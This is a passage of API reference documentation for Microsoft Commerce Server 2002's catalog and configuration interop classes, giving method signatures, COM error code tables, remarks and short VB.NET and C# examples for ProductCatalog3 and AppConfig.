Constant | Value | Description
E_CAT_INVALID_PARAMETER | [C#] 0x889800B6 [Visual Basic .NET] &H889800B6 | The input parameter <parameter number> is invalid.
E_CAT_INVALID_SPECSEARCH_HANDLE | [C#] 0x8898010D [Visual Basic .NET] &H8898010D | The search handle that you specified is invalid. The search handle should be of the form [CatalogName][CategoryName] AND (Search Clause1) AND (SearchClause2) ....
[Visual Basic .NET]

Example

'strSearchHandle contains a search handle returned
'from AddSpecificationSearchClause or BeginSpecificationSearch
'strRemovedClause will contain the removed clause after the call returns.
strRemovedClause = myProductCatalog.RemoveSpecificationSearchClause(strSearchHandle)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cataloglib (in cataloglib.dll)

See Also

ProductCatalog3 Class


ProductCatalog3.RemoveVirtualCatalogRule Method (PIA)

Use this method to remove a virtual catalog rule.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
Public Sub RemoveVirtualCatalogRule(
  strCatalogName As String,
  vrProductIDOrCategoryName As Object,
  vrVariantID As Object,
  Optional fCategory As Boolean
)
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
…
public void RemoveVirtualCatalogRule(
  string strCatalogName,
  object vrProductIDOrCategoryName,
  object vrVariantID,
  bool fCategory
);

Parameters

[Visual Basic .NET]
strCatalogName
A String that contains the base catalog name.
vrProductIDOrCategoryName
An Object that contains the product ID or category name to which the rule applies.
vrVariantID
An Object that contains the variant ID to which the rule applies.
fCategory
A Boolean that specifies whether the parameter vrProductIDOrCategoryName is a product or a category. A value of True (-1) indicates a category. A value of False (0) indicates a product. The default value is False (0).
[C#]
strCatalogName
A String that contains the base catalog name.
vrProductIDOrCategoryName
An object that contains the product ID or category name to which the rule applies.
vrVariantID
An object that contains the variant ID to which the rule applies.
fCategory
A Boolean that specifies whether the parameter vrProductIDOrCategoryName is a product or a category. A value of True (-1) indicates a category. A value of False (0) indicates a product. The default value is False (0).

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that COMException may wrap as exceptions for this method.

Constant | Value | Description
E_CAT_VC_NOT_A_VIRTUAL_CATALOG | [C#] 0x889800FA [Visual Basic .NET] &H889800FA | Invalid catalog type. This API can only be called on a virtual catalog.
E_CAT_INVALID_CATALOGNAME | [C#] 0x88980063 [Visual Basic .NET] &H88980063 | The catalog name you specified is invalid. Catalog names cannot be blank.
E_CAT_INVALID_CATALOG_NAME_LENGTH | [C#] 0x88980042 [Visual Basic .NET] &Hx88980042 | The catalog name you specified exceeds the maximum limit of 85 characters.
E_CAT_CHARACTER_NOT_ALLOWED | [C#] 0x8898003D [Visual Basic .NET] &H8898003D | The catalog name you specified has one of the nine reserved characters " [ ] , ' ( )#. that should not be used.
E_CAT_VC_INVALID_PROD_ID_OR_CATEGORY_NAME | [C#] 0x889800FB [Visual Basic .NET] &H889800FB | The value you specified for the ProductID or CategoryName exceeds the maximum allowed length of 348 characters.
E_CAT_VC_INVALID_VARIANT_ID | [C#] 0x889800FC [Visual Basic .NET] &H889800FC | The value you specified for the VariantID exceeds the maximum allowed length of 348 characters.
E_CAT_VC_INVALID_ITEM | [C#] 0x889800FD [Visual Basic .NET] &H889800FD | The specified product/category/variant could not be found in the base catalog.
E_CAT_VC_DELETION_RULE_NOT_FOUND | [C#] 0x889800FE [Visual Basic .NET] &H889800FE | The rule could not be deleted because it does not exist.

Remarks

Set the fCategory parameter to True and the vrProductIDOrCategoryName parameter to an empty string to remove the rule for the catalog specified in the strCatalogName parameter.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cataloglib (in cataloglib.dll)

See Also

ProductCatalog3 Class


ProductCatalog3.SetCatalogAttributes Method (PIA)

Use this method to set the attributes of a catalog.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
Import ADODB26Lib     ‘ for _Recordset
…
Public Sub SetCatalogAttributes(
 pRSCatalogAttributes As _Recordset,
 Optional fForceUpdate As Object
)
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
using ADODB26Lib;                              //For _Recordset
…
public void SetCatalogAttributes(
 _Recordset pRSCatalogAttributes,
 object fForceUpdate
);

Parameters

[Visual Basic .NET]
pRSCatalogAttributes
A _Recordset interface to a Recordset object containing the new attributes.
fForceUpdate
An Object that causes a forced update of the catalog attributes.
[C#]
pRSCatalogAttributes
A _Recordset interface to a Recordset containing the new attributes.
fForceUpdate
An object that causes a forced update of the catalog attributes. Set to Type.Missing for default behavior.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that COMException may wrap as exceptions for this method.

Constant | Value | Description
E_INVALIDARG | [C#] 0x80070057 [Visual Basic .NET] &H80070057 | One or more arguments are invalid.
E_CAT_BLANK_LANGUAGE | [C#] 0x889800A5 [Visual Basic .NET] &H889800A5 | The default language associated with this catalog cannot be blank.
E_CAT_CATALOG_DOESNT_EXIST | [C#] 0x88980002 [Visual Basic .NET] &Hx88980002 | The catalog name you specified does not exist.
E_CAT_INVALID_DEFAULT_LANGUAGE | [C#] 0x889800B3 [Visual Basic .NET] &Hx889800B3 | The default language that you specified does not exist as one of the valid catalog languages.
E_CAT_CATALOG_CHANGED | [C#] 0x88980012 [Visual Basic .NET] &Hx88980012 | The catalog properties have been changed since it was last read.

Remarks

Use the GetCatalogAttributes method to get a Recordset of the current attributes. After the Recordset has been modified, use it as the pRSCatalogAttributes parameter to the SetCatalogAttributes method to write the changes back to the catalog. The timestamps in the Recordset will be compared to the timestamps of the attributes being updated for error detection.

The catalog Name, ProductID, CatalogID, and VariantID attributes cannot be changed with this method.

[Visual Basic .NET]

Example

myProductCatalog.SetCatalogAttributes(rsCatalogAttribs, True)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cataloglib (in cataloglib.dll)

See Also

ProductCatalog3 Class

ProductCatalog3.GetCatalogAttributes


ProductCatalog3.SetCategoryCustomPrice Method (PIA)

The SetCategoryCustomPrice method is obsolete in Microsoft Commerce Server 2002. It will always return the following COMException:

Constant | Value | Description
E_CAT_CUSTOM_CC_NOT_SUPPORTED | [C#] 0x889800BD [Visual Basic .NET] &H889800BD | This method is not supported.

Remarks

Custom catalogs have been replaced in Microsoft Commerce Server 2002 by virtual catalogs.

See Also

ProductCatalog3 Class


ProductCatalog3.SetCustomCatalogAttributes Method (PIA)

The SetCustomCatalogAttributes method is obsolete in Microsoft Commerce Server 2002. It will always return the following COMException:

Constant | Value | Description
E_CAT_CUSTOM_CC_NOT_SUPPORTED | [C++] 0x889800BD [Visual Basic .NET] &H889800BD | This method is not supported.

Remarks

Custom catalogs have been replaced in Microsoft Commerce Server 2002 by virtual catalogs.

See Also

ProductCatalog3 Class


ProductCatalog3 Properties (PIA)

Properties

Property | Type | Description
BaseCatalogName | String | Contains the name of a base catalog for the custom catalog. This property is read-only.
CatalogName | String | Contains the name of this catalog. This property is read-only.
IdentifyingProductProperty | String | Contains the name of the column used to uniquely identify products and product families. This property is read-only.
IdentifyingVariantProperty | String | Contains the name of the column used to uniquely identify product variants. This property is read-only.
RootCategories | ADODB26Lib._Recordset | Returns a recordset containing the names of categories that are the root categories for this catalog. This property is read-only.
RootProducts | ADODB26Lib._Recordset | Returns a recordset containing the products that are part of this catalog, but are not contained in any category. This property is read-only.
SearchableCategories | ADODB26Lib._Recordset | Returns a recordset with a single field that contains the names of the categories that are defined as searchable. This property is read-only.


ProductCatalog3.BaseCatalogName Property (PIA)

The BaseCatalogName property is a read-only String that contains the name of the base catalog for this catalog. If this is not a custom catalog, it does not have a base catalog, and the BaseCatalogName property contains the name of the catalog in hand.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
Public ReadOnly Property BaseCatalogName As String
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
…
public string BaseCatalogName {get;}

Property Value

A string containing the base catalog name.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that COMException may wrap as exceptions for this method.

Constant | Value | Description
E_INVALIDARG | [C#] 0x80070057 [Visual Basic .NET] &H80070057 | One or more arguments are invalid.
E_OUTOFMEMORY | [C#] 0x8007000E [Visual Basic .NET] &H8007000E | Ran out of memory.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cataloglib (in cataloglib.dll)

See Also

ProductCatalog3 Class


ProductCatalog3.CatalogName Property (PIA)

The CatalogName property is a read-only String that contains the name of this catalog.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
Public ReadOnly Property CatalogName As String
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
…
public string CatalogName {get;}

Property Value

A string containing the catalog name.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

See Also

ProductCatalog3 Class


ProductCatalog3.IdentifyingProductProperty Property (PIA)

The IdentifyingProductProperty property is a read-only String that contains the name of the unique identifier field for the products in this catalog.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
Public ReadOnly Property IdentifyingProductProperty As String
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
…
public string_IdentifyingProductProperty {get;}

Property Value

A string used to return the name of the identifying product property.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that COMException may wrap as exceptions for this method.

Constant | Value | Description
E_INVALIDARG | [C#] 0x80070057 [Visual Basic .NET] &H80070057 | One or more arguments are invalid.
E_OUTOFMEMORY | [C#] 0x8007000E [Visual Basic .NET] &H8007000E | Out of memory.

Remarks

The product ID is cached in the ProductCatalog3 object. Because of the cache, this method will continue to return the old value after the catalog has been deleted.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cataloglib (in cataloglib.dll)

See Also

ProductCatalog3 Class

ProductCatalog3.IdentifyingVariantProperty


ProductCatalog3.IdentifyingVariantProperty Property (PIA)

The IdentifyingVariantProperty property is a read-only String that contains the name of the unique identifier field for product variants in this catalog.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
Public ReadOnly Property IdentifyingVariantProperty As String
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
…
public string IdentifyingVariantProperty {get;}

Property Value

A string containing the name of the identifying variant property.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that COMException may wrap as exceptions for this method.

Constant | Value | Description
E_POINTER | [C#] 0x80004003 Visual Basic .NET] &H80004003 | The pointer is invalid.

Remarks

The variant ID is cached in the Recordset object. Because of the cache, this method will continue to return the old value after the catalog has been deleted.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cataloglib (in cataloglib.dll)

See Also

ProductCatalog3 Class

ProductCatalog3.IdentifyingProductProperty


ProductCatalog3.Language Property (PIA)

The Language property is a read/write String that contains the active language of the catalog.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
Property Language As String
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
…

Get method:

Public void get_Language(
  BSTR* Language
);

Put method:

Public void put_Language(
  BSTR Language
);

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that get_Language can return.

Constant | Value | Description
E_OUTOFMEMORY | [C#] 0x8007000E [Visual Basic .NET] &H8007000E | Ran out of memory.
E_INVALIDARG | [C#] 0x80070057 [Visual Basic .NET] &H80070057 | One or more arguments are invalid.

The following table shows the custom COM errors that put_Language can return.

Constant | Value | Description
E_CAT_INVALID_LANGUAGE | [C#] 0x8898009E [Visual Basic .NET] &H8898009E | The value you specified for the language parameter is either empty or exceeds the maximum length of 10 characters.
E_CAT_LANGUAGE_NOT_ASSOCIATED | [C#] 0x889800A4 [Visual Basic .NET] &H889800A4 | The language that you specified is not associated with this catalog.

Remarks

The Language property specifies the language that will be used by all methods of this product catalog and on the Product and Category objects that are obtained from this ProductCatalog3 object. This property is specified as an ISO 639+1 code, and can only be one of the languages supported by the catalog. It defaults to the value of the vrDefaultLanguage parameter specified when the catalog is created.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cataloglib (in cataloglib.dll)

See Also

ProductCatalog3 Class


ProductCatalog3.RootCategories Property (PIA)

The RootCategories property is a read-only Recordset that contains the names of the categories that exist at the root level of this catalog.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
Import ADODB26Lib     ‘ for _Recordset
…
Public ReadOnly Property RootCategories(
  Optional vrPropertiesRequired As Object
) As _Recordset
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
using ADODB26Lib;                              //For _Recordset
…
public _Recordset get_RootCategories(
  object vrPropertiesRequired
);

Parameters

[Visual Basic .NET]
vrPropertiesRequired
An Objectthat contains a comma-separated list of the required property names.
[C#]
vrPropertiesRequired
An object containing a string that contains a comma-separated list of the required property names. Set to Type.Missing to not specify a property list.

Return Values

This method returns a _Recordset interface to a Recordset used to return the root categories.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that COMException may wrap as exceptions for this method.

Constant | Value | Description
E_CAT_INVALID_RS_POINTER | [C#] 0x889800B7 [Visual Basic .NET] &H889800B7 | The recordset pointer that you specified is invalid

Remarks

[C#] get_Properties does not show up in IntelliSense.

Any category without parents is considered to be a root category.

The Recordset object returned by this method will contain one row for each root category, and a field for each property name in the vrPropertiesRequired parameter. If the parameter is omitted, the Recordset object will contain all of the corresponding fields. For more information about these fields, see CatalogProduct Recordset.

Note

  • Leading numbers in the property names in the vrPropertiesRequired parameter will be trimmed from the corresponding field names in the returned Recordset. The data will be correct; only the field names will be incorrect. If the property is omitted, then the field names will be correct. Enclose field names that begin with a number in brackets to avoid this problem. For example, oProductCatalog.RootCategories("[123_Prop1],[123_ Prop2]").

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cataloglib (in cataloglib.dll)

See Also

ProductCatalog3 Class

ProductCatalog3.RootProducts


ProductCatalog3.RootProducts Property (PIA)

The RootProducts property is a read-only Recordset that contains the products that exist at the root level of a catalog.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
Import ADODB26Lib     ‘ for _Recordset
…
Public ReadOnly Property RootProducts As _Recordset
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
using ADODB26Lib;                              //For _Recordset
…
public _Recordset RootProducts {get;}

Property Value

A _Recordset interface to a Recordset containing the root products.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

Any product that is not contained within a category is considered to be a root product.

The Recordset object returned by this method will contain all of the corresponding fields. For more information about these fields, see CatalogProduct Recordset.

Products added by importing a comma-separated value (CSV) file will be root products.

The following table shows the custom COM errors that COMException may wrap as exceptions for this method.

Constant | Value | Description
E_CAT_INVALID_RS_POINTER | [C#] 0x889800B7 [Visual Basic .NET] &H889800B7 | The recordset pointer that you specified is invalid.
[Visual Basic .NET]

Example

rsRootProducts = myProductCatalog.RootProducts

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cataloglib (in cataloglib.dll)

See Also

ProductCatalog3 Class

ProductCatalog3.RootCategories


ProductCatalog3.SearchableCategories Property (PIA)

The SearchableCategories property is a read-only Recordset that contains the names of all searchable categories.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
Import ADODB26Lib     ‘ for _Recordset
…
Public ReadOnly Property SearchableCategories As _Recordset
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
using ADODB26Lib;                              //For _Recordset
…
public _Recordset SearchableCategories {get;}

Property Value

A _Recordset interface to a Recordset containing the names of the searchable categories.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that COMException may wrap as exceptions for this method.

Constant | Value | Description
E_CAT_INVALID_RS_POINTER | [C#] 0x889800B7 [Visual Basic .NET] &H889800B7 | The recordset pointer that you specified is invalid.

Remarks

The SearchableCategories property returns the names of all the categories in this catalog that can be queried using a specification search. Whether or not a particular category is specification searchable is determined by the value of the IsSearchable attribute. This property can be set at the time the category is created, or can be changed at any time by using the SetCategoryProperties methods of the category object.

The Recordset object returned by this property will contain a single 128-character field called Name. Each row will contain the name of a searchable category.

If there are no searchable categories, a Recordset with its EOF property set to true will be returned.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cataloglib (in cataloglib.dll)

See Also

ProductCatalog3 Class

ProductCatalog3.CreateCategory

ProductCatalog3.GetCategory


CatalogProduct Recordset Property (PIA)

[C#]

The fields in this Recordset object will vary, depending on the product definitions in the catalog. The following table contains a list of common fields that will always be part of this Recordset object.

Field name | Data type
CategoryName | String Maximum of 128 characters
oid | Integer
DefinitionName | String Maximum of 128 characters
IsSearchable | Small integer
cy_list_price | Money
PricingCategoryOID | Integer
TimeStamp | TimeStamp
OriginalPrice | Money
i_ClassType | Integer
ProductID | String Maximum of 256 characters
VariantID | String Maximum of 256 characters

Note

  • The oid field is for internal use and should not be updated.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cataloglib (in cataloglib.dll)

See Also

ProductCatalog3.PerformSpecificationSearch

ProductCatalog3.RootCategories

ProductCatalog3.RootProducts


Microsoft.CommerceServer.Interop.Configuration

The following table lists and describes the classes contained in the Microsoft.CommerceServer.Interop.Configuration namespace.

Class | Description
AppConfig | Retrieve site configuration settings from the site configuration store. Also retrieves the names and codes of various country/regions and state/provinces from the site configuration store.
GlobalConfig | Provides methods for the configuration management of global resources.
GlobalConfig2 | Provides methods for the configuration management of global resources, including several methods not included in the GlobalConfig object.
SiteConfig | Provides for configuration management of site resources.
SiteConfigReadOnly | Loads site configuration information from the Administration database.


AppConfig Class (PIA)

Use this object to retrieve site configuration settings from the site configuration store. Also, use this object to retrieve names, country/region codes, and state/province codes from the site configuration store.

Methods

Method | Description
DecodeStatusCode | Decodes the specified status code.
GetCountryCodeFromCountryName | Returns the country/region code for the specified country/region name.
GetCountryNameFromCountryCode | Returns the country/region name for the specified country/region code.
GetCountryNamesList | Returns an alphabetical list of country/region names.
GetOptionsDictionary | Returns a Dictionary object that maps site configuration keys to site configuration values.
GetRegionCodeFromCountryCodeAndRegionName | Returns the state/province code for the specified country/region code and state/province name.
GetRegionNameFromCountryCodeAndRegionCode | Returns the state/province name for the specified country/region code and state/province code.
GetRegionNamesListFromCountryCode | Returns an alphabetical list of state/province names for the specified country/region code.
Initialize | Initializes the AppConfig object.
RefreshCache | Refreshes the AppConfig object cache.

Remarks

[Visual Basic .NET]

This object is usually created once and initialized in the Global.asax file, for performance reasons. An instance of it is stored in the Application object and used on ASP pages as necessary.

The following example illustrates these steps:

Dim oAppConfig As AppConfig
oAppConfig = New AppConfig()
Application("MSCSAppCfg") = oAppConfig

Country/region codes may or may not be the same as International Organization for Standardization (ISO) country/region codes, depending on what values have been added in Commerce Server Business Desk.

[C#]

This object is usually created once and initialized in the Global.asax file, for performance reasons. An instance of it is stored in the Application object and used on ASP pages as necessary.

The following example illustrates these steps:

<%@ Import Namespace="Microsoft.CommerceServer.Interop.Configuration" %>

<script runat="server" language="C#">

AppConfig MyConfig = new AppConfig();

MyConfig.Initialize(“MySite”);

Application(“AppConfig”) = MyConfig;

</script>

Country/Region codes may or may not be the same as ISO country/region codes, depending on what values have been added in Business Desk.

For more information on ISO country/region codes, see Table of Country/Region Names and Codes and Table of Language Culture Names, Codes, and ISO Values.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Configuration

Platforms: Windows 2000, Windows .NET Server family

Assembly: apphelperlib (in apphelperlib.dll)

See Also

Configuration Class

Table of Country/Region Names and Codes


AppConfig Methods (PIA)

Methods

Method | Description
DecodeStatusCode | Decodes the specified status code.
GetCountryCodeFromCountryName | Returns the country/region code for the specified country/region name.
GetCountryNameFromCountryCode | Returns the country/region name for the specified country/region code.
GetCountryNamesList | Returns an alphabetical list of country/region names.
GetOptionsDictionary | Returns a Dictionary object that maps site configuration keys to site configuration values.
GetRegionCodeFromCountryCodeAndRegionName | Returns the state/province code for the specified country/region code and state/province name.
GetRegionNameFromCountryCodeAndRegionCode | Returns the state/province name for the specified country/region code and state/province code.
GetRegionNamesListFromCountryCode | Returns an alphabetical list of state/province names for the specified country/region code.
Initialize | Initializes the AppConfig object.
RefreshCache | Refreshes the AppConfig object cache.


AppConfig.DecodeStatusCode Method (PIA)

Use this method to decode the specified status code.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Configuration
…
Public Function DecodeStatusCode(
  iStatusCode As Integer
) As String
[C#]
using Microsoft.CommerceServer.Interop.Configuration;
…
public string DecodeStatusCode(
  int iStatusCode
);

Parameters

[Visual Basic .NET]
iStatusCode
An Integer that specifies the status code to be decoded.
[C#]
iStatusCode
An int that specifies the status code to be decoded.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns a String that contains the decoded status code. If the specified status code is not in the system, that same status code is returned.

[C#] This method returns a string containing the decoded status code. If the specified status code is not in the system, that same status code is returned.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

Status codes are entered in Commerce Server Business Desk.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Configuration

Platforms: Windows 2000, Windows .NET Server family

Assembly: apphelperlib (in apphelperlib.dll)

See Also

AppConfig Class


AppConfig.GetCountryCodeFromCountryName Method (PIA)

Use this method to get the country/region code corresponding to the specified country/region name.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Configuration
…
Public Function GetCountryCodeFromCountryName(
  bstrCountryName As String
) As String
[C#]
using Microsoft.CommerceServer.Interop.Configuration;
…
public string GetCountryCodeFromCountryName(
  string bstrCountryName
);

Parameters

[Visual Basic .NET]
bstrCountryName
A String that contains the name of the country/region for which the country/region code is being requested.
[C#]
bstrCountryName
A string that contains the name of the country/region for which the country/region code is being requested.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns a String that contains the country/region code. If the country/region code is not found, an empty String is returned.

[C#] This method returns a string containing the country/region code being requested.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

If the country/region code is not found, the method returns an empty string.

Country/region codes and country/region names are set in Commerce Server Business Desk.

[Visual Basic .NET]

Example

' oAppConfig is a Commerce.AppConfig object
' sCode is a String
sCode = oAppConfig.GetCountryCodeFromCountryName( _
  "United States of America")

Requirements

Namespace: Microsoft.CommerceServer.Interop.Configuration

Platforms: Windows 2000, Windows .NET Server family

Assembly: apphelperlib (in apphelperlib.dll)

See Also

AppConfig Class

AppConfig.GetCountryNameFromCountryCode

AppConfig.GetCountryNamesList

Table of Country/Region Names and Codes


AppConfig.GetCountryNameFromCountryCode Method (PIA)

Use this method to get the country/region name corresponding to the specified country/region code.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Configuration
…
Public Function GetCountryNameFromCountryCode(
  bstrCountryCode As String
) As String
[C#]
using Microsoft.CommerceServer.Interop.Configuration;
…
public string GetCountryNameFromCountryCode(
  string bstrCountryCode
);

Parameters

[Visual Basic .NET]
bstrCountryCode
A String that contains the code of the country/region for which the country/region name is being requested.
[C#]
bstrCountryCode
A string that contains the code of the country/region for which the country/region name is being requested.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns a String that contains the country/region name. If the name is not found, the country/region code is returned.

[C#] This method returns a string containing the requested country/region name.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

If the country/region name is not found, the method returns the country/region code specified in the bstrCountryCode parameter.

Country/region codes and country/region names are set in Commerce Server Business Desk.

[Visual Basic .NET]

Example

' oAppConfig is a Commerce.AppConfig object
' sCountryName is a String
sCountryName = oAppConfig.GetCountryNameFromCountryCode("us")

Requirements

Namespace: Microsoft.CommerceServer.Interop.Configuration

Platforms: Windows 2000, Windows .NET Server family

Assembly: apphelperlib (in apphelperlib.dll)

See Also

AppConfig Class

AppConfig.GetCountryCodeFromCountryName

AppConfig.GetCountryNamesList

Table of Country/Region Names and Codes


AppConfig.GetCountryNamesList Method (PIA)

Use this method to get an alphabetical list of the country/region names that are in the site configuration database.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop    ‘ for ISimpleList
Imports Microsoft.CommerceServer.Interop.Configuration
…
Public Function GetCountryNamesList() As ISimpleList
[C#]
using Microsoft.CommerceServer.Interop.Configuration;
using Microsoft.CommerceServer.Interop;              //For ISimpleList
…
public ISimpleList GetCountryNamesList();

Return Values

If this method completes successfully, it returns a reference to an object that implements the ISimpleList interface. This object contains an alphabetical list of country/region names.

[C#] The method returns an ISimpleList interface to a SimpleList object that contains an alphabetical list of country/region names.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

Country/region codes and country/region names are set in Commerce Server Business Desk.

[Visual Basic .NET]

Example

' oAppConfig is a Commerce.AppConfig object
' listCountries is a SimpleList object
listCountries = oAppConfig.GetCountryNamesList()
For Each sCountry in listCountry
  Response.Write sCountry
Next

Requirements

Namespace: Microsoft.CommerceServer.Interop.Configuration

Platforms: Windows 2000, Windows .NET Server family

Assembly: apphelperlib (in apphelperlib.dll)

See Also

AppConfig Class

AppConfig.GetCountryCodeFromCountryName

Table of Country/Region Names and Codes


AppConfig.GetOptionsDictionary Method (PIA)

Use this method to retrieve a Dictionary object that contains the site configuration information.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop     ‘ for IDictionary
Imports Microsoft.CommerceServer.Interop.Configuration
…
Public Function GetOptionsDictionary(
  bstrUserID As String
) As IDictionary
[C#]
using Microsoft.CommerceServer.Interop.Configuration;
using Microsoft.CommerceServer.Interop;              //For IDictionary
…
public IDictionary GetOptionsDictionary (
  string bstrUserID
);

Parameters

[Visual Basic .NET]
bstrUserID
A String that contains an empty string ("").
[C#]
bstrUserID
A string that contains an empty string ("").

Return Values

[Visual Basic .NET] If this method completes successfully, it returns a reference to an object that implements the IDictionary interface that contains the site configuration information.

[C#] This method returns an IDictionary interface to a Dictionary object containing the site configuration information. See the Remarks section for a list of some dictionary keys.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

[Visual Basic .NET]

Some options dictionary keys, such as i_AuctionOptions, are reserved for future use. The following table lists the names of the keys in the Dictionary object returned by this method that are mapped in the Microsoft Management Console (MMC).

Programmatic Name | MMC Default Config Mapping
i_AddItemRedirectOptions | Add item redirect options
i_AddressBookOptions | Address Book Options
f_AltCurrencyConversionRate | Currency: Alternate currency conversion Rate
i_AltCurrencyLocale | Currency: Alternate currency locale
i_AltCurrencyOptions | Currency: Alternate currency options
i_BaseCurrencyLocale | Currency: Base currency locale
i_BillingOptions | Payment options: Billing options
i_BizTalkOptions | BizTalk Options
i_CookiePathCorrectionOptions | Cookie Path Correction Options
i_CurrencyDisplayOrderOptions | Currency: Currency display order options
i_DelegatedAdminOptions | Delegated admin options
i_FormLoginOptions | Form login options
i_FormLoginTimeOut | AuthManager Auth ticket Timeout
i_HostNameCorrectionOptions | Host Name Correction Options
i_PaymentOptions | Payment options
i_SitePrivacyOptions | Site privacy options
i_SiteRegistrationOptions | Site registration options
i_SiteTicketOptions | Site ticket options
s_AltCurrencySymbol | Currency: Alternate currency symbol
s_BaseCurrencySymbol | Currency: Base currency symbol
s_BizTalkCatalogDocType | BizTalk Catalog Doc Type
s_BizTalkConnString | BizTalk connection String
s_BizTalkOrderDocType | BizTalk PO Doc Type
s_BizTalkSourceQualifierID | BizTalk Source Org Qualifier
s_BizTalkSourceQualifierValue | BizTalk Org Qualifier Value
s_BizTalkSubmittypeQueue | BizTalk Submit type
s_PageEncodingCharset | Page encoding charset
s_SMTPServerName | SMTP server name
s_WeightMeasure | Unit of Measure for Weight

The following table lists keys in the Dictionary object returned by this method that are not mapped in the MMC.

Programmatic Name | Value or Description
i_IsFullTextSearchInstalled | Indicates whether SQL Server has full text search enabled
s_BizDataStoreConnectionString | Profiles Service: s_BizDataStoreConnectionString
s_CampaignsConnectionString | Campaigns: connstr_db_Campaigns
s_CatalogConnectionString | Product Catalog: connstr_db_Catalog
s_CommerceProviderConnectionString | Profiles Service: s_CommerceProviderConnectionString
s_NonSecureHostname | This value is set in the Global.asax file to the non-secure host name of the application.
s_ProfileServiceConnectionString | Profiles Service: s_ProfileServiceConnectionString
s_SecureHostname | This value is set in the Global.asax file to the secure host name of the application.
s_SiteName | Name of the Solution Site
s_TransactionConfigConnectionString | Transaction Config: connstr_db_TransactionConfig
s_TransactionsConnectionString | Transactions: connstr_db_Transactions
[C#]

